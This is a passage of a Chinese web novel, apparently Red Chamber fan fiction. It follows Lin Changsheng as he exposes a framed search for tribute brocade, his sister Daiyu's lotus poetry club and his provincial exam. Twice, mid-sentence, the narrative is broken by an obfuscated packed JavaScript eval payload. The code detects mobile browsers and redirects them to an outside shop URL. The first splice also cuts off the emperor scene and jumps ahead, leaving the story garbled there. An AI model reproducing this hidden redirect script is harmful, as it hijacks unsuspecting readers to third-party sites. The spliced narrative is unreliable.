他推开窗,见院中积水未退,倒映着一弯新月,雨后的空气清新,带着泥土的芬芳。 长生关窗,吹熄烛火,该睡了,明日,还有明日的事。 而这京城的夜,还长着呢。 27.假传圣旨 陈启年下狱已有一段时间,三司会审,日日过堂。 那位在户部威风了二十年的老尚书,如今穿着囚衣,蓬头垢面,在堂上抵死不认。 可人证物证俱在,他那些门生故旧,见势不妙,纷纷反水,将这些年的事抖落个干净。 牵出来的人越来越多,工部、户部、漕运,甚至地方上,都有人被扯进来。 京城里风声鹤唳,各家府邸大门紧闭,往日热闹的茶楼酒肆,如今也冷清了许多。 林如海这些时日几乎未归家,日夜在户部衙门,清点账目,核对卷宗。陈启年这些年贪墨的银子,竟有上百万两之巨,牵连官员四十余人。 圣上震怒,已下旨严查,绝不姑息。 这日晌午,长生正在书房与甄士隐论学,外头林忠匆匆进来,脸色发白:“少爷,不好了!外头……外头来了好些人,说是要查封咱们府上!” 长生手中笔一顿:“什么人?” “是顺天府的人,还有…还有几个太监打扮的,说是奉了内务府的命,要来查什么…什么私藏贡品!” 甄士隐霍然起身:“私藏贡品?这罪名可不小。” 长生放下笔,神色冷静:“父亲可知此事?” “老爷在户部,还未得消息。”林忠急道,“少爷,这可如何是好?那些人已到门口了,说若不让他们进,便要强闯!” “让他们进,”长生道,“你去前厅招呼,我这就来。” “少爷!” “去。” 林忠不敢多言,匆匆去了。 长生对甄士隐道:“先生,劳您去姐姐院里,莫让她出来,香菱,你去后门守着,若有异动立刻来报。” 两人应声去了,长生整了整衣袍,往前厅去。 前厅已站了十余人。为首的是个穿青袍的官员,四十来岁,面白微须,是顺天府通判孙文海。 他身旁站着个太监,五十来岁年纪,面皮白净,眼神却阴鸷,正是内务府管事太监刘德。 “林公子,”孙文海拱手,语气还算客气,“下官奉命前来,查一桩案子,还请行个方便。” 长生还礼:“孙大人请讲。” 刘德尖着嗓子道:“咱家奉内务府总管之命,来查一桩私藏贡品案,有人举报,说林府私藏了前年江南进贡的云锦十匹,可有此事?” 长生心中冷笑。 云锦?前年江南进贡的云锦,统共不过百匹,宫中娘娘们分都不够,怎会流落在外?这分明是栽赃。 “刘公公说笑了。”长生神色不变,“林府清白人家,怎会有贡品?定是有人诬告。” “是不是诬告,查了便知,”刘德皮笑肉不笑,“林公子,咱家也是奉命行事,还请莫要为难。” “公公要查,自然可以。”长生道,“只是,可有圣旨?可有内务府的公文?若无凭无据,便要搜查朝廷命官府邸,只怕不合规矩罢?” 刘德脸色一沉:“林公子这是要抗命?” “不敢,”长生道,“只是国有国法,家有家规,公公既说奉命,便请出示凭证,若无凭证,恕难从命。” 孙文海忙打圆场:“林公子,刘公公确是奉了内务府的命。你看,这是公文。”说着,从袖中取出一纸文书。 长生接过,细看,确是内务府的公文,盖着大印。 可那印……他心中一动,内务府的印,他前世曾见过,不是这般模样,这公文,是假的。 “原来如此,”长生将公文递还,“既有公文,自然要查,只是……”他顿了顿,“公公要查何处?” “自然是全府上下,一处不漏。”刘德道。 “全府上下?”长生挑眉,“公公,这怕是不妥,府中有女眷,公公带这许多人进去,惊扰了内眷,传出去,对公公名声也不好。” 刘德哼道:“那依林公子的意思?” “公公既要查,便查库房,账房,前厅和书房这些地方便是,内院女眷住处,便不必查了罢?若公公不放心,可让孙大人带两个婆子进去瞧瞧,也算全了礼数。” 刘德与孙文海对视一眼,他们本就是要搜库房账房,内院不过是幌子,见长生退让,便顺水推舟:“既如此,便依林公子。” 长生让林忠引路,自己陪着刘德、孙文海,往库房去,一路上,他神色平静,心里却飞快想着对策。 这些人,分明是冲着父亲来的,私藏贡品是假,搜出些不该有的东西是真。 库房里,刘德命人翻箱倒柜,绸缎、皮货、瓷器、古玩,一件件搬出来查验,长生冷眼看着,心里却想着,这些人究竟要搜什么? 正想着,忽听一个差役叫道:“找到了!” 众人看去,见那差役从一口樟木箱底,翻出几匹绸缎,那绸缎光华灿烂,在昏暗库房里,竟有些刺眼。 刘德快步过去,拿起一匹,细看,随即冷笑:“林公子,这是何物?” 长生看去,咯噔一下。 那绸缎,确是云锦,还是上等的云锦,宫中娘娘们才用得起的 “这……”他看向林忠。 林忠也懵了:“少爷,这……这老奴也不知啊!库房里的东西,都是登记在册的,从无云锦!” “从无?”刘德将云锦掷在地上,“人赃俱获,还敢狡辩?林公子,私藏贡品,可是大罪,来人,将林府上下,全部锁拿,交顺天府查办!” 差役一拥而上,长生喝道:“慢着!” 他走到那云锦前,弯腰拾起,细细查看,看着看着,忽然笑了。 “刘公公,你说这是前年江南进贡的云锦?” “正是!” “公公可看清楚了?”长生将云锦展开,“这云锦,确是上品,可这织法,这纹样,却是三年前的旧样,前年江南进贡的云锦,用的是新样,纹样更繁复,织法更精巧,公公可去内务府查档。” 刘德脸色一变,他哪懂什么织法纹样?这云锦,是有人塞给他的,只说放进林府库房,便可定罪,可若这云锦真是三年前的…… “再者,”长生继续道,“这云锦保存不当,已有些褪色,若真是前年进贡的,在宫中不过两年,怎会褪色至此?依我看,这云锦怕是存放了至少三四年了。” 他转头看林忠:“忠伯,咱们府上,可有三四年前的云锦?” 林忠大脑宕机片刻,看着小少爷面无表情的模样,立即道:“有!有!老爷在扬州时,有次过寿,一位扬州富商送了几匹云锦,说是江南织造局出的,老爷不爱这些便让收在库房,一直未动,那云锦正是三年前的!” 刘德额上冒汗,他哪知道这些?那给他云锦的人,只说“前年进贡的”,可若真是三四年前的…… “刘公公,”长生似笑非笑,“这云锦,分明是有人栽赃陷害,公公若不信,可请内务府的织造师傅来验,看看这云锦,究竟是哪年的!” 刘德脸色青白,说不出话,二人本就做贼心虚,也万万没想到这林府真的有云锦,也没思考顾虑到其中真假。 孙文海见状,忙道:“林公子息怒,许是…许是误会,下官这就让人撤了,这就撤!” “撤?”长生冷笑,“孙大人,刘公公,你们带着人,闯进朝廷命官府邸,翻箱倒柜,栽赃陷害,如今一句误会便想走?” “那……那林公子的意思?” “我的意思,很简单。”长生一字一句,“今日之事,我要一个交代。是谁指使你们来的?这云锦,是谁放的?不说清楚,谁也别想走!” 正僵持着,外头忽然传来一声唱喏:“圣旨到——” 众人皆是一惊,只见一个太监捧着圣旨进来,正是御前太监夏守忠。 “林长生接旨!” 长生跪倒。 夏守忠展开圣旨,念道:“奉天承运皇帝,诏曰:户部侍郎林如海之子林长生,聪慧敏达,忠孝可嘉。着即入宫,面圣陈情。钦此。” “臣,领旨谢恩。” 夏守忠收了圣旨,对刘德,孙文海二人,冷笑道:“刘公公,孙大人,你们好大的胆子,圣上已知道今日之事,命咱家来传林公子入宫。你们,也跟咱家走一趟罢!” 刘德、孙文海面如死灰,扑通跪倒。 长生起身,对夏守忠道:“夏公公,容我更衣。” “林公子请便。” 长生回房,换了身干净衣裳。 临出门,对甄士隐道:“先生,府中便拜托您了,我入宫面圣,少则半日,多则一日便回。” 甄士隐握着他手:“公子小心。” “先生放心。” 又对黛玉道:“姐姐莫怕,我去去便回。” 黛玉眼圈红了,却强忍着:“你……小心些。” 长生点头,随夏守忠出府。 马车往皇城去,夏守忠在车中道:“林公子,今日之事,圣上震怒,那刘德是内务府副总管刘永的干儿子,刘永又是王节度使的人。” 长生会意,王子腾,果然是他。 “多谢公公提点。” “咱家也是看在林大人面上,”夏守忠道,“林公子,今日面圣,说话要小心,圣上问什么,答什么,莫要多言。” “长生明白。” 车到宫门,长生下车,随夏守忠入宫,但见殿宇巍峨,宫墙深深,处处透着天家威严。 至养心殿,夏守忠进去禀报,片刻出来:“林公子,圣上宣你进殿。” 长生整衣入殿,殿中焚着龙涎香,御座上,圣上正在看奏折,见他进来,放下折子。 “臣子林长生,叩见圣上。” “平身。” 长生起身,垂首侍立,圣上打量他片刻,方道:“你便是林如海之子?今年几岁了?” “回圣上,臣子今年八岁。” “八岁。”圣上点头,“朕听说,你六岁中秀才,如今在国子监读书,可还习惯?” “回圣上,国子监师长学问渊博,同窗友善,臣子受益良多。” “嗯,”圣上不想听这个,“今日之事,你可知情?” “臣子略知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“多谢公公提点。” 回到林府,已是傍晚,黛玉、甄士隐、香菱都在前厅等着,见他回来,都松了口气。 “长生,可还顺利?”黛玉急问。 “顺利。”长生将面圣情形说了,末了道,“圣上信父亲,咱们便不怕。” 甄士隐却道:“公子,圣上那番话信是信,可也要咱们有自保之力。今日之事,是侥幸,可下次呢?下下次呢?” 长生点头:“先生说得是,从今日起,府中要加强戒备,出入要严查。姐姐的饮食起居要格外小心,香菱,紫鹃,你们要寸步不离地跟着姐姐。” “奴婢明白。” 正说着,林如海回来了,他已知今日之事,见长生无恙,方松了口气。 “父亲,”长生道,“圣上今日说,要咱们有自保之力。” “为父知道,”林如海沉声道,“今日之事是王子腾手笔,陈启年倒了,贾政要垮,他要狗急跳墙。” “那咱们……” “咱们以不变应万变。”林如海道,“他在暗,咱们在明,他出招,咱们接招。” 话虽如此,王子腾掌京营多年,权势滔天,他要对付林家有的是法子。 今夜,林府无人安眠。 此刻王子腾府中,书房。 王子腾坐在书房,面色阴沉,刘德失手,刘永被革职,连孙文海都被贬。 “老爷,”心腹幕僚低声道,“林如海如今圣眷正隆,咱们硬碰,怕是不智。” “不硬碰,难道坐视他查下去?”王子腾冷声道,“陈启年倒了,贾政要垮,下一个,便是我了!” “可如今圣上信他,咱们动他,便是与圣上作对。” 王子腾沉默,幕僚说得对。 可难道就这么算了?任由林如海查下去,将他这些年做的事,一件件抖落出来? 不,不行,他王子腾能有今日,是踩着多少人上来的?那些事若曝出来,便是抄家灭族的大罪。 “老爷,”幕僚又道,“为今之计,只有一条路。” “说。” “捧杀。” “捧杀?” “是。”幕僚恭敬道,“林如海不是要查账么?咱们让他查,不但让他查,还要帮他查,将那些该查的,不该查的,都送到他面前。账目越乱,牵扯的人越多,他查得越深,得罪的人便越多,到时候不用咱们动手,自有人容不下他。” 王子腾眼睛一亮:“你是说……” “让他成为众矢之的,”幕僚阴森道,“这朝堂上,清流与勋贵,文官与武将,利益盘根错节,他林如海要查便是要断所有人的财路,到时候不用咱们动手,自有人要他死。” 王子腾点头:“好,好一个捧杀。那便让他查,让他好好查。” 他走到窗前望着夜空,今夜无月,晦暗不明。 28.荷花诗社 陈启年府邸被抄有半月。 顺天府、都察院、刑部三司会审,从那座三进大宅里抄出金银珠宝、古玩字画、田产地契,足足装了三十大车,价值近百万两。 陈启年在狱中熬了十余日,终是熬不住,将这些年贪墨的事一五一十全招了,供状写了厚厚一摞,牵涉官员六十余人,地方富商三十余户。 圣上震怒,连下旨意,以陈启年为首官员斩立决,家产充公,家眷流放三千里,涉案官员三品以上革职查办,三品以下就地罢免。 一时间,朝堂上下风声鹤唳,人人自危。 王子腾却一反常态地配合起来,京营那边,主动交出了历年账册,还上了道折子,自陈治军不严,请求圣上责罚。 圣上只批了“知道了”三字,这让王子腾心里发毛。 贾府那边更是鸡飞狗跳,贾政的请罪折子递上去,圣上批了“革职留用,罚俸三年”。 官是保住了,可这些年贪的银子要一文不少地吐出来,王夫人将自己的嫁妆、体己都拿了出来,又让王熙凤将府中能变卖的都变卖了,才凑齐了数。 银子是凑齐了,贾府也空了,往日门庭若市的荣国府如今门可罗雀,比先前更加清净,那些往日巴结的,如今都躲得远远的,生怕沾上晦气。 贾母气得病了一场,如今虽好了,精神却大不如前,这日午后她靠在榻上,对王夫人叹道:“咱们家,怎么就落到这步田地了?” 王夫人垂泪:“是媳妇无能,没管好这个家。” “不怪你,”贾母摇头,“是政儿糊涂,太贪心了。”又问,“林家那边可有消息?” 王夫人脸色一白:“母亲,还提林家做什么?如今咱们与林家,已是……” “我知道。”贾母闭眼,“我只是想,玉儿那孩子怕是恨透咱们了。” 王夫人不语,恨?那是自然的,那般逼婚,那般羞辱,换成谁不恨? “罢了,罢了,”贾母摆摆手,“日后莫要再提林家了,咱们高攀不起。” 林家这边,却是另一番光景。 自那日面圣后,圣上对林如海愈发倚重,户部的事几乎全交给他处置,也没让新官继任尚书。 林如海也不负圣望,将户部上下整顿得井井有条,那些陈年积弊,一件件理清,不过月余户部风气为之一新。 长生在国子监也有了声望,他年纪虽小学问扎实,待人也谦和,那些清流子弟都愿意与他结交,便是勋贵家的子弟,见他也不似从前那般轻慢,谁不知道林如海如今是圣上跟前红人。 林长生交友不拘束,不以清流自居,也不对勋贵子弟热络,平常神龙不见尾不知道在琢磨什么。 这日散学,长生与陈景行,李煦等人一同出来,在监门口遇见了牛清。 牛清见了他,迟疑片刻,还是上前道:“林公子。” 长生还礼:“牛公子。” 牛清低声道:“我姐姐前日递了帖子去府上,说是想拜访林姑娘,不知……” 林长生不知姐姐打算,只得模棱两可回复:“家姐这几日不便见客,我们当弟弟的也不便干涉。” 牛清脸色一黯,却仍道:“我明白了,只是我姐姐是真心对待林姑娘,这些日子茶饭不思的,人都瘦了一圈,林公子,可否通融一二?” 长生看着牛清,这位镇国公府的少爷,从前何等嚣张,如今却为了姐姐如此心平气和放低姿态,这倒是好弟弟,只是以前不当人。 “牛公子,”长生道,“儿女私交不受父辈影响,只是牛小姐与家姐交情理应由她们自己决断。” 这话说得明白,女孩子之间的交情他人无需干涉,尤其是当弟弟的。 牛清拱手道:“多谢林公子指点” 正说着,那边传来一阵喧哗。 几个勋贵子弟拥着一人过来,却是理国公府的柳湘莲,此人年方十七,生得俊美,最是风流不羁,他见了长生,笑道:“这位便是林公子?久仰久仰。” 长生心生警惕,还礼:“柳公子。” 柳湘莲打量他几眼,赞道:“果然一表人才,我听说林公子诗才了得,改日定要讨教一二。” “柳公子谬赞了。” “不是谬赞。”柳湘莲正色道,“我柳湘莲从不说虚话。林公子,今日得见,三生有幸,改日我做东,请公子吃酒,可好?” 这话说得热情,可长生认为对方一直在挑衅自己,三生有幸?讨教一二?下战书? 这柳湘莲是勋贵子弟,与清流素无往来,如今这般热情,怕是有别的用意。 “柳公子客气了,只是长生年幼,不善饮酒,怕是要辜负公子美意了。” “无妨,无妨。”柳湘莲笑道,“不吃酒,吃茶也可。总之,这个朋友,我是交定了。” 说罢,带着人扬长而去。 陈景行低声道:“林兄,这位柳公子是京城有名的浪荡子,他这般热情,怕是要带坏你” 长生点头:“我明白,多谢陈兄提醒。” 回到林府,长生将今日之事说与父亲听,林如海道:“柳湘莲此人虽为勋贵子弟,却终日与那些纨绔为伍,平日也与些文人墨客往来,他与你结交,许是攀了这节骨眼上的风声。” “可如今这时局……” “这时局更要小心,”林如海道,“也不必拒人千里,假亦真时真亦假,你平常心待之便是。” “儿子明白了。” 正说着,黛玉来了,见父亲与弟弟在说话,开门见山道:“父亲,女儿想办个诗社。” “诗社?”林如海挑眉,瞥了一眼林长生,林长生连忙摇摇头表示不是自己的注意。 “是,”黛玉点头,“前日几个姐妹来,说起如今夏日正好,荷花盛开,不如办个诗社,赏荷作诗,也是雅事,女儿想着咱们家园子里那方荷塘,这几日花开得正好,便想邀几位姐妹来,办个荷花诗社。” 林如海:“请哪些人?” “严姐姐,沈家两位姐妹和周家妹妹,还有王家的婉容姐姐以及孙家的若兰妹妹。”黛玉停顿片刻补充道,“还有牛家大小姐。” 长生看向姐姐,没说话。 黛玉轻声道:“牛小姐前日递了帖子来,说她新得了本宋版《花间集》想与女儿共赏,女儿想着,她既诚心,咱们也不必拒人千里,何况父辈是父辈,咱们是咱们。” 林如海见她眼神清澈,神色坦然,心里松了口气,这孩子心性纯善,不会因为父辈矛盾而对朋友疏远,敢爱敢恨是好事。 “既如此便依你,”林如海道,“莫要吃亏。” “女儿省得。” 诗社定在六月初十,恰逢天朗气清,荷风送爽。 林府园子里,那方荷塘花开正盛,粉的、白的、黄的,亭亭玉立。 塘边搭了凉棚,摆了桌椅,桌上放着文房四宝,还有各色茶点。 辰时末,客人们陆续到了,严素心最先来,携着妹妹严素月,接着是沈玉如、沈玉妍姐妹,周静姝,王婉容,孙若兰,最后到的,是牛萱。 牛萱今日穿着藕荷色绣折枝梅的罗裙,发间簪着支点翠簪,打扮得比往日素净,她一见黛玉,便上前道:“林姑娘。” 黛玉还礼:“牛小姐。” “姑娘唤我萱儿便好,”牛萱道,目光在黛玉脸上停了停,“姑娘今日气色好。” “牛小姐请坐。” 牛萱听到这个称呼也不生气,自知关系也未到如此亲近,众人落座,紫鹃、香菱奉上茶点。 黛玉笑道:“今日请各位来,是为赏荷作诗,咱们不拘什么题目,只以荷为意,或诗或词,或联句或绝句都使得,作得好的,我有彩头,作得不好的便罚她为大家烹茶,如何?” 众人都笑:“这个罚得好。” 于是抽签定次序。 第一签是严素心,她略一沉吟,临危不乱,吟道: “绿盖亭亭映日开,红妆冉冉出波来。 清香暗度知何处,一片冰心在玉台。” 王婉容赞道,“严姐姐这诗清雅高洁,正合荷花品格。” 严素心微笑:“王妹妹过奖了。” 接着是沈玉如,她性子活泼,想了想便道: “水上新荷簇锦茵,风前嫩叶展青蘋。 不知何处吹芦管,惊起沙鸥一片春。” 沈玉妍拍手:“姐姐这诗灵动!” 轮到沈玉妍自己,她早准备好诗作,道: “藕花深处泊轻舟,荷叶田田水国秋。 欲采红芳寄远道,西风吹梦到南州。” 孙若兰点头:“沈二妹妹这诗,有远意,西风吹梦到南州,余韵悠长。” 周静姝年纪最小,怯生生道:“我……我作得不好。” 黛玉温声道:“无妨,只管作来。” 周静姝想了想,轻声道: “小荷才露尖尖角,早有蜻蜓立上头。” 这是杨万里的诗,众人都笑:“周妹妹这是偷懒了。” 周静姝红了脸:“我……我只会这个。” 黛玉笑道:“虽是前人的诗,可用得应景,也算巧妙,便饶过你这一回。” 轮到王婉容,她提笔蘸墨,在纸上写道: “水殿风来珠翠香,芙蓉泣露倚新妆。 谁家玉笛暗飞声,散入东风满洛裳。” 写罢,放下笔。 严素心赞道:“王妹妹这诗,富丽堂皇,又有哀婉之致。芙蓉泣露倚新妆,这句尤其好。” 孙若兰接道:“该我了。”她略一思索,吟道: “红蕖照水弄晴霞,翠盖摇风拂岸沙。 莫道此中无俗客,清香原不借铅华。” “好!”牛萱先行开口,“孙姑娘这诗,最后两句尤佳,莫道此中无俗客,清香原不借铅华,是说荷花高洁不因观者俗雅而改其香,这立意比我们方才的都好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17003699|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙若兰没想到牛萱会赞她,毕竟她平常没少说牛萱坏话甚至还被当事人抓包过好几次,微怔后道:“牛小姐过奖了。” 最后是牛萱,众人都看她,这位镇国公府的小姐,素来以才女自诩,不知今日能作出什么来。 牛萱起身,走到塘边,望着满塘荷花,沉默良久,众人以为她作不出,正要打圆场,她这才开口: “碧波千顷晓烟收,玉井芙蓉一夜秋。 月下独怜倾国色,风前谁解捧心愁。 霓裳舞罢云屏冷,环佩归时露气浮。 欲问仙家何处是,白鹭飞过洞庭洲。” 她声音很好听,诵得婉转动人,诵罢,塘边一片寂静,众人都看向黛玉。 半晌,严素心打破沉默,叹道:“牛小姐这诗气象宏大,用典精当,非我等能及。” 王婉容也忙着圆场,道:“月下独怜倾国色,风前谁解捧心愁,这联对仗工整,意境幽深,确是佳作。” 牛萱摇摇头,对众人道:“我这诗刻意求工,失了天然,自然比不得林姑娘的。” 随即转身对黛玉深深一福,赧然道:“林姑娘,我这诗算不得数,只是今日见此景,闻此香,心中感怀,唯有此诗可表,姑娘莫怪。” 林黛玉看着她,道:“诗以言志,歌以咏怀,牛小姐借诗抒己胸怀,有何不可?这诗,作得好。” 牛萱低声道:“多谢姑娘。” 黛玉不再接话,微笑道:“该我了。”她走到案前,提笔蘸墨,略一沉吟,写道: “一片笙歌水殿凉,藕花风起露华香。 采莲归去双鬟湿,笑指鸳鸯睡满塘。” 写罢,搁笔,众人围上来看,皆赞叹不已。 “林妹妹这诗,清新自然,又有生趣,”严素心道,“采莲归去双鬟湿,笑指鸳鸯睡满塘,这画面,如在眼前,让人心生泛舟之趣。” 孙若兰也道:“林姑娘这诗,不事雕琢,却韵味无穷。比我们那些刻意求工的,好多了。” 牛萱看着那诗,又看看黛玉,坦然道,“林姑娘这诗,我比不上。” 黛玉摇头:“诗无高下,只有合不合心,牛小姐的诗雄浑,我的诗清浅,各有千秋罢了。” 牛萱看着她,道:“林姑娘,我能常来与你论诗么?” 黛玉微怔,随即微笑:“自然可以,只是莫要太张扬,咱们清清静静地说话便好。” “好,好,”牛萱笑了,“我记下了。” 众人又品评一番,便到了午时,黛玉让紫鹃摆上午饭,都是清淡雅致的菜式:荷叶粥、荷花糕、莲子羹、菱角炒虾仁,还有几样时鲜小菜。 饭桌上气氛融洽,严素心与王婉容说些闺中趣事,沈家姐妹活泼不时说笑,周静姝虽羞怯,却也抿嘴笑。 牛萱悄悄挪到黛玉旁乖巧坐着,话不多,只静静听着,偶尔插一句,却总能说到点子上。 饭毕,众人又说了贴己话,方才散去,牛萱临走前恋恋不舍,对黛玉道:“林姑娘,改日我得了好诗,再来与你切磋。” “随时恭候。” 送走客人,黛玉回到房中。 香菱一边替她卸簪环,一边道:“姑娘,牛小姐今日倒是与往常不同。” “哦?哪里不同?” “从前她来,总是打扮得花枝招展,说话也带着傲气。可今日她穿得也体当,说话也谦和,看姑娘的眼神也是收敛了。” 黛玉点头:“许是经了事,长大了。” “姑娘不怪她了?” “有什么可怪的?”黛玉笑道,“她从前那般骄矜是环境使然,如今她诚心对我,我又何必揪着不放?这世上,多个朋友,总比多个敌人好。” 香菱似懂非懂地点点头。 紫鹃在一旁跟着笑,道:“姑娘心善,牛小姐对姑娘真情实意那确实无话可说,但牛小姐到底是镇国公府的小姐,姑娘与她交往,还是小心些好,莫要吃亏。” “我知道。”黛玉道,“我有分寸。” 正说着,长生来了,他今日在学里,未参加诗社,可回来听了禀报,便来问姐姐。 “姐姐,今日诗社可还顺利?” “顺利。”黛玉将今日情形说了,末了道,“牛小姐今日确是真心待我。” 长生讶然姐姐的态度,随即点头,:“姐姐既觉得她真心那便是真心,姐姐长情,万事还是要防着些,牛继宗是聪明人,他女儿与姐姐交好,他定是乐见的。” “我明白。”黛玉道,“我与牛小姐只论私交,不谈其他,更况且这一年以来她从未提及家中事。” “姐姐说得是。”长生不再劝说,父辈之间的矛盾冲突与两家儿女交情并不互通,无所谓利益之分,真真假假又何妨,倘若姐姐真能得知己,牛府怎样,王家又如何,姐姐的心思比他这个当弟弟的更澄澈,更格局。 姐弟二人又说了会子话,长生方回房。 窗外,月上中天。 29.秋闱 八月秋闱,贡院前,考生已列队候着。 天还未亮,薄雾未散,长生站在队伍中,身上是国子监统一的青衿,手里提着考篮,里头装着笔墨纸砚、干粮饮水。 他今年实岁八岁,虚岁九岁,这样的年纪下场秋闱依旧是头一遭,周围的考生多是二十上下的青年,也有三四十岁的老生,白发者不计其数,见他这般年幼,都投来讶异的目光。 有相识的便窃窃私语:“这便是那位林侍郎的公子?六岁秀才的那个?” “可不是么,这般年纪就来考举人,真不知天高地厚。” “嘘,小声些,人家父亲是户部尚书,圣上跟前红人,莫要惹祸。” 也有知晓林长生厉害的学子像见了鬼一样看着窃窃私语人群,挪了挪远离智障人士。 长生只当未闻,静静站着,几乎要翻白眼,总有些蠢人以为稚子愚昧无知,什么时候这些人才知道什么叫天时地利人和,罢了,和蠢人计较也会变蠢。 卯时正,贡院开门,差役唱名,核对身份,搜检考篮,长生递上考牌,那差役看了他一眼,又仔细核对名册,方道:“林长生,年八岁,扬州府江都县籍,国子监监生,可是你?” “是。” “进去罢,甲字第三号。” 长生接过考牌,走进贡院,但见院内甬道深深,两侧是密密麻麻的号舍,每间不过三尺见方,只容一人一桌一凳,他寻到甲字第三号,推门进去,里头倒也干净,只是窄小,转身都难,不是臭号都好。 将考篮放在桌上,取出笔墨纸砚,一一摆好,正收拾着外头传来三声炮响,封门了。 从此刻起,三日之内这贡院便是与世隔绝的天地,考中了,鱼跃龙门,考不中,三年后再来。 辰时初,试题发下。 头场考《四书》文三道,《五经》文四道,长生展开试题,见头一道是: “子曰:君子不器。” 长生看一眼便知是出自《论语·为政》篇的话,意思是君子不像器皿那样只有一种用途。 长生提笔蘸墨,在草纸上写道: “夫器者,形而下之谓也,各适其用而不能相通,君子则不然,体道以为质,秉义以为衡,可仕可止,可久可速,无适而不可,故曰不器,昔周公吐哺,孔子猎较,伊尹负鼎,太公钓渭,皆不器之验也……” 林长生下笔从容,引经据典,伊尹负鼎指商汤时的贤相伊尹,曾背着鼎俎去见商汤,以烹调比喻治国,写到太公钓渭是指姜子牙在渭水边垂钓,等待明主,这些都是君子不器,不囿于一技之长,能因时而变,因事而宜。 写完这道,看第二题: “《诗》云:周虽旧邦,其命维新。” 这是《诗经·大雅·文王》里的句子,说周朝虽是古老的邦国,却能承受新的天命,此题要阐发“维新”之义,长生略一思索便破题,写道: “夫国之所以久长者,非恃其旧也,恃其能新也,周自后稷肇基,公刘拓业,至文王而大新其政,故能受天命而王天下,若夫夏桀商纣,守旧不革,虽曰旧邦,其亡忽焉。是故《易》曰:日新之谓盛德。《书》曰:人惟求旧,器非求旧,惟新。” 林长生收笔,认真看了看,由周之维新,说到夏桀商纣之守旧,又引《易经》《尚书》为证,层层递进,论说维新的重要性,确认无误后再看下一题。 第三题是: “孟子曰:人不可以无耻。” 这道题看似简单,长生举了正反两例,如子路、大禹是知耻能改的典范以及商鞅徙木立信,吴起杀妻求将,虽成就功业,却失了廉耻,为君子不取,这样一正一反,道理便说透了。 如此这般,林长生斟酌语句,提笔道: “耻者,人心之防也。防溃则肆,肆则无所不为。故士君子修身,莫先于知耻。昔子路闻过则喜,禹闻善言则拜,此知耻而能改者也。若夫商鞅徙木,吴起杀妻,功虽成而耻已丧,君子不取也……” 写完三道《四书》文,已过午时,长生取出干粮慢慢吃了两块,又喝了几口水,继续看《五经》题。 林长生本经选的是《诗经》,要作四道,第一道是: “《关雎》,后妃之德也。试申其义。” 这是《诗经》开篇第一首,历代阐释极多,已经是老生常谈,长生写道: “《关雎》之诗,始乎雎鸠,终乎琴瑟,盖以雎鸠之挚而有别,喻后妃之德也。夫雎鸠,水鸟也,雌雄有定偶而不相乱,犹后妃之专一静正,不妒忌,不邪媚,故能辅佐君子,风化天下。文王之治,始于闺门,此之谓也……” 他从雎鸠的特性破题,点后妃之德,再升华到文王之治,把将这首诗的政治寓意阐发得淋漓尽致。 四道《诗经》题作完,天已擦黑,号舍里点了蜡烛,昏黄的光映着纸面,倘若到了这个时候,其他考生写不完也再难分辨,错误率更甚。 长生揉了揉发酸的手腕,将草稿上的文章一一誊抄到正卷上,誊完最后一笔,外头传来梆子声,长生吹熄蜡烛,和衣躺下,号舍窄小只能蜷着身子。 他望着黑漆漆的屋顶,困意袭来。 第二日,天未亮便起了,长生草草用了干粮,试题发下,这场考的是应用文,头一道是“论”: “论历代漕运利弊” 恰是林如海前期在户部主抓的事,长生从小便听闻不少,也在父亲书房看过不少卷宗,再加上前次科举也有同样案例 ,心中早有成算。 他提笔写道: “漕运者,国家之血脉也,自秦汉以来,或海运,或河运,其制屡更,唐开漕渠,岁运四百万石,关中赖之;宋都汴梁岁运六百万石,京师以足,然其弊亦深,一曰损耗,舟行千里,漂没朽腐,十常二三,二曰冗费,官吏层层克扣,脚价倍增,三曰扰民,征发民夫,耽误农时……” 林长生历数漕运之弊,又提出改革之策:“今欲革其弊,当以清丈运河,疏浚淤塞为先,其后裁汰冗员,严查贪墨,又则改折色为兑运,减省环节……” 第二道是“判”,给了一桩案子: “甲借乙银百两,立券为凭逾年未还,乙讼于官,甲称昔年曾为乙保媒,得酬五十两,当相抵。问:甲当偿几何?” 这是民间常见的债务纠纷。 长生略一思索,既然为民,不能长篇大论,内容更要简明扼要,于是依法而断,判道: “借贷、媒酬,二事也,岂可相抵?查律,借贷不偿,杖六十,追本利给主,甲当如数偿还,不得以他事抵折,至若媒酬,乙若未付,可另讼追讨,不得混为一谈。判如右。” 第三道是诏,模拟皇帝下诏: “以今岁水患,诏免直隶、山东灾区粮税三分” 这道要拟诏书,格式、用语都有讲究,长生写道: “奉天承运皇帝诏曰:朕惟天子代天理物,当以养民为本,今岁夏秋之交,直隶、山东诸府水患频仍,田庐淹没,黎庶流离,朕恻然伤之,寝食难安。夫民为邦本,本固邦宁,其令有司勘实灾情,凡被灾州县,本年粮税减免三分,以苏民困。仍发内帑银十万两,命户部侍郎督赈,务使灾民得所,毋令失所,布告天下,咸使闻知。钦此。” 他特意抹去官员名字和准确官职,有心之人一见便知,无心之人哪怕添了名字反而添堵,不能直说,要恰到好处。 三道题作完又是傍晚,长生誊抄完毕,天已黑透,明日最后一场,是经史时务策,五道题,要纵论古今,针砭时弊。那才是真正见功力的。 第三日,试题发下,让林长生瞬间睡意全无。 头一道试题便是: “问:汉唐宰相,权重则国治,权轻则国乱。其故安在?” 这是论相权与国运的关系,与如今当朝圣上更换首辅若干也有关联,答错了怕不是送命题。 